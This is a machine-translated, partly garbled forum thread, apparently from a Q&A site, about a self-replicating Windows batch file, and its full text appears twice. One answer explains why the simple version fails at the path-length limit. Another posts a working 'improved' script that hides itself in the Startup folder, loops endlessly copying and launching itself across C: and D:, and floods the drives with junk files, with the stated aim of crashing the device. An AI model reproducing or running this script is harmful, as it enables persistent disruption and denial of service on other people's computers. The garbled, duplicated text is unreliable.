非常基本的批量自复制代码:有多危险?
Very basic batch self-replicating code: how dangerous?
在阅读了太多关于冯·诺依曼自我复制机器的内容后,我决定对批处理进行一些修改,尝试制作一个简单的文件,在 运行ning 时自动复制它自己。
我最终得到了这个:
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%E.bat
文件保存为 WEE.bat,最新迭代的每个 运行 都会制作一个带有附加 E 的副本。
添加一个简单的行来自动 运行 最新的迭代是非常简单的,此时我实际上不知道会发生什么:是否有什么东西让我的计算机试图溢出它自己的驱动器?对于 "improvement",这段代码与实际的恶意软件有何不同(除了明显通过网络传播的东西)?
Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
没有。如果您指示您的计算机做一些无用或有害的事情,它就会这样做。这里唯一的限制因素是启用 echo 后,每一行执行都必须发送到控制台 window,因此速度不会非常快。您将有机会使用 Ctrl-C 终止它,但它会创建数千个文件,直到文件名太长而无法调用,此时它将失败。大多数硬盘驱动器上的 space 数量级比您的脚本可能 fill-up.
如果您想进行试验,请参阅 timeout /?
。为脚本的每个 运行 添加 5 或 10 秒的超时,您可以看到文件数量在您 运行 批处理文件所在的任何目录中增加。
编辑:
这里的限制因素似乎是文件 path/name 长度为 270 个字符。
>type D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd 1>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The filename, directory name, or volume label syntax is incorrect.
>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The parameter is incorrect.
我改进了脚本。
有效
@echo off
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%a.bat
%self%a.bat
@echo off
move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
:1
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
copy WEE.bat C:\%random%xd%random%lol /y
copy WEE.bat D:\%random%xd%random%lol /y
copy WEE.bat C:\lol%random%xd%random% /y
copy WEE.bat D:\lol%random%xd%random% /y
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
open C:\%random%xd%random%lol\WEE.bat
open D:\%random%xd%random%lol\WEE.bat
open C:\lol%random%xd%random%\WEE.bat
open D:\lol%random%xd%random%\WEE.bat
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
goto :1
即使在设备启动时,它们也会大量复制和打开自身以及彼此(尽管有一种方法可以解决这个问题)。设备应该会很快崩溃。
在阅读了太多关于冯·诺依曼自我复制机器的内容后,我决定对批处理进行一些修改,尝试制作一个简单的文件,在 运行ning 时自动复制它自己。 我最终得到了这个:
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%E.bat
文件保存为 WEE.bat,最新迭代的每个 运行 都会制作一个带有附加 E 的副本。
添加一个简单的行来自动 运行 最新的迭代是非常简单的,此时我实际上不知道会发生什么:是否有什么东西让我的计算机试图溢出它自己的驱动器?对于 "improvement",这段代码与实际的恶意软件有何不同(除了明显通过网络传播的东西)?
Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
没有。如果您指示您的计算机做一些无用或有害的事情,它就会这样做。这里唯一的限制因素是启用 echo 后,每一行执行都必须发送到控制台 window,因此速度不会非常快。您将有机会使用 Ctrl-C 终止它,但它会创建数千个文件,直到文件名太长而无法调用,此时它将失败。大多数硬盘驱动器上的 space 数量级比您的脚本可能 fill-up.
如果您想进行试验,请参阅 timeout /?
。为脚本的每个 运行 添加 5 或 10 秒的超时,您可以看到文件数量在您 运行 批处理文件所在的任何目录中增加。
编辑:
这里的限制因素似乎是文件 path/name 长度为 270 个字符。
>type D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd 1>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The filename, directory name, or volume label syntax is incorrect.
>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The parameter is incorrect.
我改进了脚本。
有效
@echo off
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%a.bat
%self%a.bat
@echo off
move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
:1
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
copy WEE.bat C:\%random%xd%random%lol /y
copy WEE.bat D:\%random%xd%random%lol /y
copy WEE.bat C:\lol%random%xd%random% /y
copy WEE.bat D:\lol%random%xd%random% /y
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
open C:\%random%xd%random%lol\WEE.bat
open D:\%random%xd%random%lol\WEE.bat
open C:\lol%random%xd%random%\WEE.bat
open D:\lol%random%xd%random%\WEE.bat
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
goto :1
即使在设备启动时,它们也会大量复制和打开自身以及彼此(尽管有一种方法可以解决这个问题)。设备应该会很快崩溃。